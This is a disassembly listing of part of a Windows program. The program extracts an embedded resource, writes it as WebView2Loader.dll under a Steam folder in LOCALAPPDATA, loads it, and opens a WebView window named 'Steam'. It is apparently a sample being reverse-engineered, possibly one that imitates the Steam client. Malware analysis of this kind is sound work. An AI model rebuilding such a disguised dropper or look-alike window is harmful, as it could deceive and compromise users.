14000153e48 83 c8 03OR RAX,0x3
14000154248 8d 48 01LEA RCX,[RAX + 0x1]
14000154648 83 f8 0bCMP RAX,0xb
14000154a41 be 0e 00 00 00MOV R14D,0xe
1400015504c 0f 45 f1CMOVNZ R14,RCX
1400015544b 8d 0c 36LEA RCX,[R14 + R14*0x1]
140001558e8 a3 e2 01 00CALL FUN_14001f800; FUN_14001f800: malloc
14000155d48 89 c7MOV RDI,RAX
14000156048 89 84 24 70 01 00 00MOV qword ptr [RSP + local_468],RAX
14000156849 83 ce 01OR R14,0x1
14000156c4c 89 b4 24 60 01 00 00MOV qword ptr [RSP + local_478[0]],R14
14000157448 89 9c 24 68 01 00 00MOV qword ptr [RSP + local_478[8]],RBX
LAB_14000157c:
14000157c4c 8d 04 1bLEA R8,[RBX + RBX*0x1]
14000158048 89 f9MOV RCX,RDI
14000158348 89 f2MOV RDX,RSI
140001586e8 b5 8c 09 00CALL memmove
LAB_14000158b:
14000158b66 c7 04 5f 00 00MOV word ptr [RDI + RBX*0x2],0x0
1400015910f b6 9c 24 60 01 00 00MOVZX EBX,byte ptr [RSP + local_478[0]]
1400015990f b6 b4 24 61 01 00 00MOVZX ESI,byte ptr [RSP + local_478[1]]
1400015a10f b7 bc 24 62 01 00 00MOVZX EDI,word ptr [RSP + local_478[2]]
1400015a948 8b 84 24 64 01 00 00MOV RAX,qword ptr [RSP + local_478[4]]
1400015b148 89 84 24 80 00 00 00MOV qword ptr [RSP + local_558[0]],RAX
1400015b98b 84 24 6c 01 00 00MOV EAX,dword ptr [RSP + local_478[12]]
1400015c089 84 24 88 00 00 00MOV dword ptr [RSP + local_558[8]],EAX
1400015c74c 8b b4 24 70 01 00 00MOV R14,qword ptr [RSP + local_468]
1400015cff6 05 62 7e 0c 00 01TEST byte ptr [DAT_1400c9438],0x1
1400015d674 0cJZ LAB_1400015e4
1400015d848 8b 0d 69 7e 0c 00MOV RCX,qword ptr [DAT_1400c9448]
1400015dfe8 fc e2 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_1400015e4:
1400015e488 1d 4e 7e 0c 00MOV byte ptr [DAT_1400c9438],BL
1400015ea40 88 35 48 7e 0c 00MOV byte ptr [DAT_1400c9439],SIL
1400015f166 89 3d 42 7e 0c 00MOV word ptr [DAT_1400c943a],DI
1400015f848 8b 84 24 80 00 00 00MOV RAX,qword ptr [RSP + local_558[0]]
14000160048 89 05 35 7e 0c 00MOV qword ptr [DAT_1400c943c],RAX
1400016078b 84 24 88 00 00 00MOV EAX,dword ptr [RSP + local_558[8]]
14000160e89 05 30 7e 0c 00MOV dword ptr [DAT_1400c9440+4],EAX
1400016144c 89 35 2d 7e 0c 00MOV qword ptr [DAT_1400c9448],R14
14000161bf6 84 24 e0 00 00 00 01TEST byte ptr [RSP + local_4f8[0]],0x1
14000162374 0dJZ LAB_140001632
14000162548 8b 8c 24 f0 00 00 00MOV RCX,qword ptr [RSP + local_4e8[0]]
14000162de8 ae e2 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_140001632:
140001632ba 2c 01 00 00MOV EDX,0x12c
14000163741 b8 0a 00 00 00MOV R8D,0xa
14000163d31 c9XOR ECX,ECX
14000163fff 15 e3 11 0b 00CALL qword ptr [PTR_FindResourceW_1400b2828]
14000164548 85 c0TEST RAX,RAX
14000164874 64JZ LAB_1400016ae
14000164a48 89 c6MOV RSI,RAX
14000164d31 c9XOR ECX,ECX
14000164f48 89 c2MOV RDX,RAX
140001652ff 15 88 13 0b 00CALL qword ptr [PTR_SizeofResource_1400b29e0]
14000165889 c7MOV EDI,EAX
14000165a31 c9XOR ECX,ECX
14000165c48 89 f2MOV RDX,RSI
14000165fff 15 b3 12 0b 00CALL qword ptr [PTR_LoadResource_1400b2918]
14000166548 89 c1MOV RCX,RAX
140001668ff 15 ba 12 0b 00CALL qword ptr [PTR_LockResource_1400b2928]
14000166e48 89 84 24 48 01 00 00MOV qword ptr [RSP + local_490],RAX
14000167648 85 c0TEST RAX,RAX
1400016790f 95 c0SETNZ AL
14000167c85 ffTEST EDI,EDI
14000167e0f 95 c1SETNZ CL
14000168184 c8TEST AL,CL
14000168374 29JZ LAB_1400016ae
140001685f6 05 ac 7d 0c 00 01TEST byte ptr [DAT_1400c9438],0x1
14000168c75 49JNZ LAB_1400016d7
14000168e48 8b 05 b3 7d 0c 00MOV RAX,qword ptr [DAT_1400c9448]
14000169548 89 84 24 70 01 00 00MOV qword ptr [RSP + local_468],RAX
14000169d0f 10 05 94 7d 0c 00MOVUPS XMM0,xmmword ptr [DAT_1400c9438]
1400016a40f 29 84 24 60 01 00 00MOVAPS xmmword ptr [RSP + local_478[0]],XMM0
1400016aceb 44JMP LAB_1400016f2
LAB_1400016ae:
1400016aec6 84 24 a0 00 00 00 00MOV byte ptr [RSP + local_538[0]],0x0
1400016b666 c7 84 24 a2 00 00 00 …MOV word ptr [RSP + local_538[2]],0x0
1400016c031 c0XOR EAX,EAX
1400016c2a8 01TEST AL,0x1
1400016c40f 84 95 05 00 00JZ LAB_140001c5f
LAB_1400016ca:
1400016ca48 8b 8c 24 a8 00 00 00MOV RCX,qword ptr [RSP + local_538[8]]
1400016d2e9 8f 05 00 00JMP LAB_140001c66
LAB_1400016d7:
1400016d748 8b 15 6a 7d 0c 00MOV RDX,qword ptr [DAT_1400c9448]
1400016de4c 8b 05 5b 7d 0c 00MOV R8,qword ptr [DAT_1400c9440]
1400016e548 8d 8c 24 60 01 00 00LEA RCX,[RSP + 0x160]
1400016ede8 3e 34 00 00CALL FUN_140004b30; FUN_140004b30: memmove
LAB_1400016f2:
1400016f20f 57 c0XORPS XMM0,XMM0
1400016f50f 29 84 24 e0 00 00 00MOVAPS xmmword ptr [RSP + local_4f8[0]],XMM0
1400016fd48 c7 84 24 f0 00 00 00 …MOV qword ptr [RSP + local_4e8[0]],0x0
1400017094c 8d 84 24 78 01 00 00LEA R8,[RSP + 0x178]
14000171148 8d 8c 24 e0 00 00 00LEA RCX,[RSP + 0xe0]
14000171948 8d 94 24 60 01 00 00LEA RDX,[RSP + 0x160]
14000172141 b9 01 00 00 00MOV R9D,0x1
140001727e8 94 34 00 00CALL FUN_140004bc0; FUN_140004bc0: __acrt_iob_func, RtlUnwindEx
14000172cf6 84 24 60 01 00 00 01TEST byte ptr [RSP + local_478[0]],0x1
14000173474 0dJZ LAB_140001743
14000173648 8b 8c 24 70 01 00 00MOV RCX,qword ptr [RSP + local_468]
14000173ee8 9d e1 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_140001743:
14000174348 8d 0d b2 a0 09 00LEA RCX,[u_LOCALAPPDATA_14009b7fc]; "LOCALAPPDATA"
14000174a48 8d 94 24 60 01 00 00LEA RDX,[RSP + 0x160]
14000175241 b8 04 01 00 00MOV R8D,0x104
140001758ff 15 12 11 0b 00CALL qword ptr [PTR_GetEnvironmentVariableW_1400b2870]
14000175e85 c0TEST EAX,EAX
1400017600f 84 88 02 00 00JZ LAB_1400019ee
1400017660f 57 f6XORPS XMM6,XMM6
1400017690f 29 b4 24 80 00 00 00MOVAPS xmmword ptr [RSP + local_558[0]],XMM6
14000177148 c7 84 24 90 00 00 00 …MOV qword ptr [RSP + local_548],0x0
14000177d48 8d b4 24 60 01 00 00LEA RSI,[RSP + 0x160]
14000178548 89 f1MOV RCX,RSI
140001788e8 03 8b 09 00CALL wcslen
14000178d4c 8d 04 44LEA R8,[RSP + RAX*0x2]
14000179149 81 c0 60 01 00 00ADD R8,0x160
14000179848 8d 8c 24 80 00 00 00LEA RCX,[RSP + 0x80]
1400017a048 89 f2MOV RDX,RSI
1400017a3e8 18 36 00 00CALL FUN_140004dc0; FUN_140004dc0: memcpy, __acrt_iob_func, RtlUnwindEx, memmove
1400017a80f 29 b4 24 c0 00 00 00MOVAPS xmmword ptr [RSP + local_518[0]],XMM6
1400017b048 c7 84 24 d0 00 00 00 …MOV qword ptr [RSP + local_508],0x0
1400017bc48 8d 15 af 9a 09 00LEA RDX,[u_Steam_14009b272]; "Steam"
1400017c34c 8d 05 b2 9a 09 00LEA R8,[u__14009b272+0xa]
1400017ca48 8d 8c 24 c0 00 00 00LEA RCX,[RSP + 0xc0]
1400017d2e8 e9 35 00 00CALL FUN_140004dc0; FUN_140004dc0: memcpy, __acrt_iob_func, RtlUnwindEx, memmove
1400017d7f6 84 24 80 00 00 00 01TEST byte ptr [RSP + local_558[0]],0x1
1400017df75 1cJNZ LAB_1400017fd
1400017e148 8b 84 24 90 00 00 00MOV RAX,qword ptr [RSP + local_548]
1400017e948 89 44 24 70MOV qword ptr [RSP + local_568],RAX
1400017ee0f 28 84 24 80 00 00 00MOVAPS XMM0,xmmword ptr [RSP + local_558[0]]
1400017f60f 29 44 24 60MOVAPS xmmword ptr [RSP + local_578[0]],XMM0
1400017fbeb 1aJMP LAB_140001817
LAB_1400017fd:
1400017fd4c 8b 84 24 88 00 00 00MOV R8,qword ptr [RSP + local_558[8]]
14000180548 8b 94 24 90 00 00 00MOV RDX,qword ptr [RSP + local_548]
14000180d48 8d 4c 24 60LEA RCX,[RSP + 0x60]
140001812e8 19 33 00 00CALL FUN_140004b30; FUN_140004b30: memmove
LAB_140001817:
14000181748 8d 4c 24 60LEA RCX,[RSP + 0x60]
14000181c48 8d 94 24 c0 00 00 00LEA RDX,[RSP + 0xc0]
140001824e8 27 38 00 00CALL FUN_140005050; FUN_140005050: __acrt_iob_func, RtlUnwindEx, memmove
14000182948 8b 9c 24 e8 00 00 00MOV RBX,qword ptr [RSP + local_4f8[8]]
14000183148 8b 84 24 f0 00 00 00MOV RAX,qword ptr [RSP + local_4e8[0]]
14000183948 39 c3CMP RBX,RAX
14000183c73 2bJNC LAB_140001869
14000183e48 8b 44 24 70MOV RAX,qword ptr [RSP + local_568]
14000184348 89 43 10MOV qword ptr [RBX + 0x10],RAX
1400018470f 28 44 24 60MOVAPS XMM0,xmmword ptr [RSP + local_578[0]]
14000184c0f 11 03MOVUPS xmmword ptr [RBX],XMM0
14000184f0f 57 c0XORPS XMM0,XMM0
1400018520f 29 44 24 60MOVAPS xmmword ptr [RSP + local_578[0]],XMM0
14000185748 c7 44 24 70 00 00 00 …MOV qword ptr [RSP + local_568],0x0
14000186048 83 c3 18ADD RBX,0x18
140001864e9 4d 01 00 00JMP LAB_1400019b6
LAB_140001869:
14000186948 b9 aa aa aa aa aa aa …MOV RCX,0xaaaaaaaaaaaaaaa
14000187348 8b 94 24 e0 00 00 00MOV RDX,qword ptr [RSP + local_4f8[0]]
14000187b48 29 d3SUB RBX,RDX
14000187e48 89 deMOV RSI,RBX
14000188148 c1 fe 03SAR RSI,0x3
14000188549 b8 ab aa aa aa aa aa …MOV R8,-0x5555555555555555
14000188f49 0f af f0IMUL RSI,R8
14000189348 ff c6INC RSI
14000189648 39 ceCMP RSI,RCX
1400018990f 87 dc 09 00 00JA LAB_14000227b
14000189f48 29 d0SUB RAX,RDX
1400018a248 c1 f8 03SAR RAX,0x3
1400018a649 0f af c0IMUL RAX,R8
1400018aa48 8d 14 00LEA RDX,[RAX + RAX*0x1]
1400018ae48 39 f2CMP RDX,RSI
1400018b148 0f 47 f2CMOVA RSI,RDX
1400018b548 ba 55 55 55 55 55 55 …MOV RDX,0x555555555555555
1400018bf48 39 d0CMP RAX,RDX
1400018c248 0f 43 f1CMOVNC RSI,RCX
1400018c648 39 ceCMP RSI,RCX
1400018c90f 87 b1 09 00 00JA LAB_140002280
1400018cf48 8d 04 f5 00 00 00 00LEA RAX,[RSI*0x8]
1400018d748 8d 0c 40LEA RCX,[RAX + RAX*0x2]
1400018dbe8 20 df 01 00CALL FUN_14001f800; FUN_14001f800: malloc
1400018e048 8d 0c 18LEA RCX,[RAX + RBX*0x1]
1400018e448 8d 14 76LEA RDX,[RSI + RSI*0x2]
1400018e84c 8d 34 d0LEA R14,[RAX + RDX*0x8]
1400018ec48 8b 54 24 70MOV RDX,qword ptr [RSP + local_568]
1400018f148 89 54 18 10MOV qword ptr [RAX + RBX*0x1 + 0x10],RDX
1400018f60f 28 44 24 60MOVAPS XMM0,xmmword ptr [RSP + local_578[0]]
1400018fb0f 11 04 18MOVUPS xmmword ptr [RAX + RBX*0x1],XMM0
1400018ff0f 57 c0XORPS XMM0,XMM0
1400019020f 29 44 24 60MOVAPS xmmword ptr [RSP + local_578[0]],XMM0
14000190748 c7 44 24 70 00 00 00 …MOV qword ptr [RSP + local_568],0x0
14000191048 8d 5c 18 18LEA RBX,[RAX + RBX*0x1 + 0x18]
14000191548 8b b4 24 e0 00 00 00MOV RSI,qword ptr [RSP + local_4f8[0]]
14000191d4c 8b a4 24 e8 00 00 00MOV R12,qword ptr [RSP + local_4f8[8]]
14000192548 89 f0MOV RAX,RSI
1400019284c 29 e0SUB RAX,R12
14000192b4c 8d 3c 08LEA R15,[RAX + RCX*0x1]
14000192f74 60JZ LAB_140001991
14000193148 89 f0MOV RAX,RSI
1400019344c 89 f9MOV RCX,R15
14000193766 0f 1f 84 00 00 00 00 …NOP word ptr [RAX + RAX*0x1]
LAB_140001940:
14000194048 8b 50 10MOV RDX,qword ptr [RAX + 0x10]
14000194448 89 51 10MOV qword ptr [RCX + 0x10],RDX
1400019480f 10 08MOVUPS XMM1,xmmword ptr [RAX]
14000194b0f 11 09MOVUPS xmmword ptr [RCX],XMM1
14000194e0f 11 00MOVUPS xmmword ptr [RAX],XMM0
14000195148 c7 40 10 00 00 00 00MOV qword ptr [RAX + 0x10],0x0
14000195948 83 c0 18ADD RAX,0x18
14000195d48 83 c1 18ADD RCX,0x18
1400019614c 39 e0CMP RAX,R12
14000196475 daJNZ LAB_140001940
140001966eb 11JMP LAB_140001979
LAB_140001970:
14000197048 83 c6 18ADD RSI,0x18
1400019744c 39 e6CMP RSI,R12
14000197774 10JZ LAB_140001989
LAB_140001979:
140001979f6 06 01TEST byte ptr [RSI],0x1
14000197c74 f2JZ LAB_140001970
14000197e48 8b 4e 10MOV RCX,qword ptr [RSI + 0x10]
140001982e8 59 df 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
140001987eb e7JMP LAB_140001970
LAB_140001989:
14000198948 8b b4 24 e0 00 00 00MOV RSI,qword ptr [RSP + local_4f8[0]]
LAB_140001991:
1400019914c 89 bc 24 e0 00 00 00MOV qword ptr [RSP + local_4f8[0]],R15
14000199948 89 9c 24 e8 00 00 00MOV qword ptr [RSP + local_4f8[8]],RBX
1400019a14c 89 b4 24 f0 00 00 00MOV qword ptr [RSP + local_4e8[0]],R14
1400019a948 85 f6TEST RSI,RSI
1400019ac74 08JZ LAB_1400019b6
1400019ae48 89 f1MOV RCX,RSI
1400019b1e8 2a df 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_1400019b6:
1400019b648 89 9c 24 e8 00 00 00MOV qword ptr [RSP + local_4f8[8]],RBX
1400019bef6 44 24 60 01TEST byte ptr [RSP + local_578[0]],0x1
1400019c30f 85 5d 08 00 00JNZ LAB_140002226
1400019c9f6 84 24 c0 00 00 00 01TEST byte ptr [RSP + local_518[0]],0x1
1400019d10f 85 67 08 00 00JNZ LAB_14000223e
LAB_1400019d7:
1400019d7f6 84 24 80 00 00 00 01TEST byte ptr [RSP + local_558[0]],0x1
1400019df74 0dJZ LAB_1400019ee
LAB_1400019e1:
1400019e148 8b 8c 24 90 00 00 00MOV RCX,qword ptr [RSP + local_548]
1400019e9e8 f2 de 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_1400019ee:
1400019ee4c 89 ac 24 40 01 00 00MOV qword ptr [RSP + local_498],R13
1400019f64c 8b b4 24 e0 00 00 00MOV R14,qword ptr [RSP + local_4f8[0]]
1400019fe4c 8b ac 24 e8 00 00 00MOV R13,qword ptr [RSP + local_4f8[8]]
140001a064d 39 eeCMP R14,R13
140001a090f 84 d7 01 00 00JZ LAB_140001be6
140001a0fe8 dc 46 01 00CALL FUN_1400160f0; FUN_1400160f0: SleepConditionVariableSRW, __acrt_iob_func, RtlUnwindEx, WakeAllConditionVariable
140001a1449 89 c7MOV R15,RAX
140001a170f 57 f6XORPS XMM6,XMM6
140001a1a48 8d b4 24 80 00 00 00LEA RSI,[RSP + 0x80]
140001a2248 8d 5c 24 60LEA RBX,[RSP + 0x60]
140001a2748 8b 2d aa 0d 0b 00MOV RBP,qword ptr [PTR_CreateFileW_1400b27d8]
140001a2eeb 0dJMP LAB_140001a3d
LAB_140001a30:
140001a3049 83 c6 18ADD R14,0x18
140001a344d 39 eeCMP R14,R13
140001a370f 84 a9 01 00 00JZ LAB_140001be6
LAB_140001a3d:
140001a3dc7 84 24 c0 00 00 00 00 …MOV dword ptr [RSP + local_518[0]],0x0
140001a484c 89 bc 24 c8 00 00 00MOV qword ptr [RSP + local_518[8]],R15
140001a504c 89 f1MOV RCX,R14
140001a5348 8d 94 24 c0 00 00 00LEA RDX,[RSP + 0xc0]
140001a5be8 a0 73 01 00CALL FUN_140018e00; FUN_140018e00: CreateFileW, CloseHandle, GetLastError, CreateDirectoryW +3
140001a600f 29 b4 24 80 00 00 00MOVAPS xmmword ptr [RSP + local_558[0]],XMM6
140001a6848 c7 84 24 90 00 00 00 …MOV qword ptr [RSP + local_548],0x0
140001a7448 89 f1MOV RCX,RSI
140001a7748 8d 15 98 9d 09 00LEA RDX,[u_WebView2Loader.dll_14009b816]; "WebView2Loader.dll"
140001a7e4c 8d 05 b5 9d 09 00LEA R8,[u__14009b816+0x24]
140001a85e8 36 33 00 00CALL FUN_140004dc0; FUN_140004dc0: memcpy, __acrt_iob_func, RtlUnwindEx, memmove
140001a8a41 f6 06 01TEST byte ptr [R14],0x1
140001a8e75 20JNZ LAB_140001ab0
140001a9049 8b 46 10MOV RAX,qword ptr [R14 + 0x10]
140001a9448 89 44 24 70MOV qword ptr [RSP + local_568],RAX
140001a9941 0f 10 06MOVUPS XMM0,xmmword ptr [R14]
140001a9d0f 29 44 24 60MOVAPS xmmword ptr [RSP + local_578[0]],XMM0
140001aa2eb 1cJMP LAB_140001ac0
LAB_140001ab0:
140001ab04d 8b 46 08MOV R8,qword ptr [R14 + 0x8]
140001ab449 8b 56 10MOV RDX,qword ptr [R14 + 0x10]
140001ab848 89 d9MOV RCX,RBX
140001abbe8 70 30 00 00CALL FUN_140004b30; FUN_140004b30: memmove
LAB_140001ac0:
140001ac048 89 d9MOV RCX,RBX
140001ac348 89 f2MOV RDX,RSI
140001ac6e8 85 35 00 00CALL FUN_140005050; FUN_140005050: __acrt_iob_func, RtlUnwindEx, memmove
140001acbf6 84 24 80 00 00 00 01TEST byte ptr [RSP + local_558[0]],0x1
140001ad374 0dJZ LAB_140001ae2
140001ad548 8b 8c 24 90 00 00 00MOV RCX,qword ptr [RSP + local_548]
140001adde8 fe dd 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_140001ae2:
140001ae2f6 44 24 60 01TEST byte ptr [RSP + local_578[0]],0x1
140001ae748 8d 4c 24 62LEA RCX,[RSP + 0x62]
140001aec74 05JZ LAB_140001af3
140001aee48 8b 4c 24 70MOV RCX,qword ptr [RSP + local_568]
LAB_140001af3:
140001af348 c7 44 24 30 00 00 00 …MOV qword ptr [RSP + local_5a8],0x0
140001afcc7 44 24 28 80 00 00 00MOV dword ptr [RSP + local_5b0],0x80
140001b04c7 44 24 20 02 00 00 00MOV dword ptr [RSP + local_5b8],0x2
140001b0cba 00 00 00 40MOV EDX,0x40000000
140001b1145 31 c0XOR R8D,R8D
140001b1445 31 c9XOR R9D,R9D
140001b17ff d5CALL RBP
140001b1949 89 c4MOV R12,RAX
140001b1c48 83 f8 ffCMP RAX,-0x1
140001b2074 6eJZ LAB_140001b90
140001b22c7 84 24 80 00 00 00 00 …MOV dword ptr [RSP + local_558[0]],0x0
140001b2d48 c7 44 24 20 00 00 00 …MOV qword ptr [RSP + local_5b8],0x0
140001b364c 89 e1MOV RCX,R12
140001b3948 8b 94 24 48 01 00 00MOV RDX,qword ptr [RSP + local_490]
140001b4141 89 f8MOV R8D,EDI
140001b4449 89 f1MOV R9,RSI
140001b47ff 15 fb 0e 0b 00CALL qword ptr [PTR_WriteFile_1400b2a48]
140001b4d4c 89 e1MOV RCX,R12
140001b50ff 15 72 0c 0b 00CALL qword ptr [PTR_CloseHandle_1400b27c8]
140001b5645 31 e4XOR R12D,R12D
140001b5939 bc 24 80 00 00 00CMP dword ptr [RSP + local_558[0]],EDI
140001b6075 5eJNZ LAB_140001bc0
140001b62f6 44 24 60 01TEST byte ptr [RSP + local_578[0]],0x1
140001b6775 2fJNZ LAB_140001b98
140001b6948 8b 44 24 70MOV RAX,qword ptr [RSP + local_568]
140001b6e48 89 84 24 b0 00 00 00MOV qword ptr [RSP + local_528],RAX
140001b760f 28 44 24 60MOVAPS XMM0,xmmword ptr [RSP + local_578[0]]
140001b7b0f 29 84 24 a0 00 00 00MOVAPS xmmword ptr [RSP + local_538[0]],XMM0
140001b8341 bc 01 00 00 00MOV R12D,0x1
140001b89eb 35JMP LAB_140001bc0
LAB_140001b90:
140001b9041 bc 03 00 00 00MOV R12D,0x3
140001b96eb 28JMP LAB_140001bc0
LAB_140001b98:
140001b984c 8b 44 24 68MOV R8,qword ptr [RSP + local_578[8]]
140001b9d48 8b 54 24 70MOV RDX,qword ptr [RSP + local_568]
140001ba241 bc 01 00 00 00MOV R12D,0x1
140001ba848 8d 8c 24 a0 00 00 00LEA RCX,[RSP + 0xa0]
140001bb0e8 7b 2f 00 00CALL FUN_140004b30; FUN_140004b30: memmove
140001bb566 66 2e 0f 1f 84 00 00 …NOP dword ptr CS:[RAX + RAX*0x1]
LAB_140001bc0:
140001bc0f6 44 24 60 01TEST byte ptr [RSP + local_578[0]],0x1
140001bc574 0aJZ LAB_140001bd1
140001bc748 8b 4c 24 70MOV RCX,qword ptr [RSP + local_568]
140001bcce8 0f dd 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_140001bd1:
140001bd141 83 fc 03CMP R12D,0x3
140001bd50f 84 55 fe ff ffJZ LAB_140001a30
140001bdb45 85 e4TEST R12D,R12D
140001bde0f 84 4c fe ff ffJZ LAB_140001a30
140001be4eb 12JMP LAB_140001bf8
LAB_140001be6:
140001be6c6 84 24 a0 00 00 00 00MOV byte ptr [RSP + local_538[0]],0x0
140001bee66 c7 84 24 a2 00 00 00 …MOV word ptr [RSP + local_538[2]],0x0
LAB_140001bf8:
140001bf848 8b b4 24 e0 00 00 00MOV RSI,qword ptr [RSP + local_4f8[0]]
140001c0048 85 f6TEST RSI,RSI
140001c034c 8b ac 24 40 01 00 00MOV R13,qword ptr [RSP + local_498]
140001c0b74 42JZ LAB_140001c4f
140001c0d48 8b bc 24 e8 00 00 00MOV RDI,qword ptr [RSP + local_4f8[8]]
140001c1548 89 f1MOV RCX,RSI
140001c1848 39 feCMP RSI,RDI
140001c1b75 0cJNZ LAB_140001c29
140001c1deb 23JMP LAB_140001c42
LAB_140001c20:
140001c2048 83 c7 e8ADD RDI,-0x18
140001c2448 39 f7CMP RDI,RSI
140001c2774 11JZ LAB_140001c3a
LAB_140001c29:
140001c29f6 47 e8 01TEST byte ptr [RDI + -0x18],0x1
140001c2d74 f1JZ LAB_140001c20
140001c2f48 8b 4f f8MOV RCX,qword ptr [RDI + -0x8]
140001c33e8 a8 dc 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
140001c38eb e6JMP LAB_140001c20
LAB_140001c3a:
140001c3a48 8b 8c 24 e0 00 00 00MOV RCX,qword ptr [RSP + local_4f8[0]]
LAB_140001c42:
140001c4248 89 b4 24 e8 00 00 00MOV qword ptr [RSP + local_4f8[8]],RSI
140001c4ae8 91 dc 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_140001c4f:
140001c4f0f b6 84 24 a0 00 00 00MOVZX EAX,byte ptr [RSP + local_538[0]]
140001c57a8 01TEST AL,0x1
140001c590f 85 6b fa ff ffJNZ LAB_1400016ca
LAB_140001c5f:
140001c5f89 c1MOV ECX,EAX
140001c61d0 e9SHR CL,0x1
140001c630f b6 c9MOVZX ECX,CL
LAB_140001c66:
140001c66be 01 00 00 00MOV ESI,0x1
140001c6b48 85 c9TEST RCX,RCX
140001c6e0f 84 7d 05 00 00JZ LAB_1400021f1
140001c74a8 01TEST AL,0x1
140001c7674 0aJZ LAB_140001c82
140001c7848 8b 8c 24 b0 00 00 00MOV RCX,qword ptr [RSP + local_528]
140001c80eb 08JMP LAB_140001c8a
LAB_140001c82:
140001c8248 8d 8c 24 a2 00 00 00LEA RCX,[RSP + 0xa2]
LAB_140001c8a:
140001c8aff 15 80 0c 0b 00CALL qword ptr [PTR_LoadLibraryW_1400b2910]
140001c9048 85 c0TEST RAX,RAX
140001c930f 84 58 05 00 00JZ LAB_1400021f1
140001c9948 8d 15 90 95 09 00LEA RDX,[s_CreateCoreWebView2EnvironmentWit_14009b230]; "CreateCoreWebView2EnvironmentWithOptions"
140001ca048 89 c1MOV RCX,RAX
140001ca3ff 15 17 0c 0b 00CALL qword ptr [PTR_GetProcAddress_1400b28c0]
140001ca948 89 c7MOV RDI,RAX
140001cac48 85 c0TEST RAX,RAX
140001caf0f 84 3c 05 00 00JZ LAB_1400021f1
140001cb50f 57 c0XORPS XMM0,XMM0
140001cb80f 11 84 24 f0 00 00 00MOVUPS xmmword ptr [RSP + local_4e8[0]],XMM0
140001cc00f 11 84 24 20 01 00 00MOVUPS xmmword ptr [RSP + local_4b8[0]],XMM0
140001cc80f 11 84 24 10 01 00 00MOVUPS xmmword ptr [RSP + local_4c8[0]],XMM0
140001cd00f 11 84 24 00 01 00 00MOVUPS xmmword ptr [RSP + local_4d8[0]],XMM0
140001cd848 b8 50 00 00 00 03 00 …MOV RAX,0x300000050
140001ce248 89 84 24 e0 00 00 00MOV qword ptr [RSP + local_4f8[0]],RAX
140001cea48 8d 05 8f 07 00 00LEA RAX,[WndProc]; → WndProc (B2, B10, E10)
140001cf148 89 84 24 e8 00 00 00MOV qword ptr [RSP + local_4f8[8]],RAX
140001cf94c 89 ac 24 f8 00 00 00MOV qword ptr [RSP + local_4e8[8]],R13
140001d01ba 00 7f 00 00MOV EDX,0x7f00
140001d0631 c9XOR ECX,ECX
140001d08ff 15 52 06 0b 00CALL qword ptr [PTR_LoadCursorW_1400b2360]
140001d0e48 89 84 24 08 01 00 00MOV qword ptr [RSP + local_4d8[8]],RAX
140001d16b9 04 00 00 00MOV ECX,0x4
140001d1bff 15 bf 06 0b 00CALL qword ptr [PTR_GetStockObject_1400b23e0]
140001d2148 89 84 24 10 01 00 00MOV qword ptr [RSP + local_4c8[0]],RAX
140001d29ba 01 00 00 00MOV EDX,0x1
140001d2e4c 89 e9MOV RCX,R13
140001d31ff 15 31 06 0b 00CALL qword ptr [PTR_LoadIconW_1400b2368]
140001d3748 89 84 24 00 01 00 00MOV qword ptr [RSP + local_4d8[0]],RAX
140001d3fba 01 00 00 00MOV EDX,0x1
140001d444c 89 e9MOV RCX,R13
140001d47ff 15 1b 06 0b 00CALL qword ptr [PTR_LoadIconW_1400b2368]
140001d4d48 89 84 24 28 01 00 00MOV qword ptr [RSP + local_4b8[8]],RAX
140001d5548 8d 05 fe 94 09 00LEA RAX,[u_SteamWindow_14009b25a]; "SteamWindow"
140001d5c48 89 84 24 20 01 00 00MOV qword ptr [RSP + local_4b8[0]],RAX; "SteamWindow"
140001d6448 8d 8c 24 e0 00 00 00LEA RCX,[RSP + 0xe0]
140001d6cff 15 0e 06 0b 00CALL qword ptr [PTR_RegisterClassExW_1400b2380]
140001d7231 c9XOR ECX,ECX
140001d74ff 15 ce 05 0b 00CALL qword ptr [PTR_GetSystemMetrics_1400b2348]
140001d7a89 c6MOV ESI,EAX
140001d7c8b 1d 7e 72 0c 00MOV EBX,dword ptr [DAT_1400c9000]
140001d82b9 01 00 00 00MOV ECX,0x1
140001d87ff 15 bb 05 0b 00CALL qword ptr [PTR_GetSystemMetrics_1400b2348]
140001d8d29 deSUB ESI,EBX
140001d8f89 f1MOV ECX,ESI
140001d91c1 e9 1fSHR ECX,0x1f
140001d9401 f1ADD ECX,ESI
140001d96d1 f9SAR ECX,0x1
140001d9844 8b 05 65 72 0c 00MOV R8D,dword ptr [DAT_1400c9004]
140001d9f44 29 c0SUB EAX,R8D
140001da241 89 c1MOV R9D,EAX
140001da541 c1 e9 1fSHR R9D,0x1f
140001da941 01 c1ADD R9D,EAX
140001dac41 d1 f9SAR R9D,0x1
140001daf48 8b 94 24 20 01 00 00MOV RDX,qword ptr [RSP + local_4b8[0]]; "SteamWindow"
140001db78b 05 43 72 0c 00MOV EAX,dword ptr [DAT_1400c9000]
140001dbd4c 89 6c 24 50MOV qword ptr [RSP + local_588],R13
140001dc20f 57 c0XORPS XMM0,XMM0
140001dc50f 11 44 24 40MOVUPS xmmword ptr [RSP + local_598[0]],XMM0
140001dca44 89 44 24 38MOV dword ptr [RSP + local_5a0],R8D
140001dcf89 44 24 30MOV dword ptr [RSP + local_5a8],EAX
140001dd344 89 4c 24 28MOV dword ptr [RSP + local_5b0],R9D
140001dd889 4c 24 20MOV dword ptr [RSP + local_5b8],ECX
140001ddc48 c7 44 24 58 00 00 00 …MOV qword ptr [RSP + local_580],0x0
140001de54c 8d 05 86 94 09 00LEA R8,[u_Steam_14009b272]; "Steam"
140001dec31 c9XOR ECX,ECX
140001dee41 b9 00 00 02 82MOV R9D,0x82020000
140001df4ff 15 16 05 0b 00CALL qword ptr [PTR_CreateWindowExW_1400b2310]
140001dfa48 89 05 4f 76 0c 00MOV qword ptr [DAT_1400c9450],RAX
140001e010f 10 05 78 94 09 00MOVUPS XMM0,xmmword ptr [DAT_14009b280]
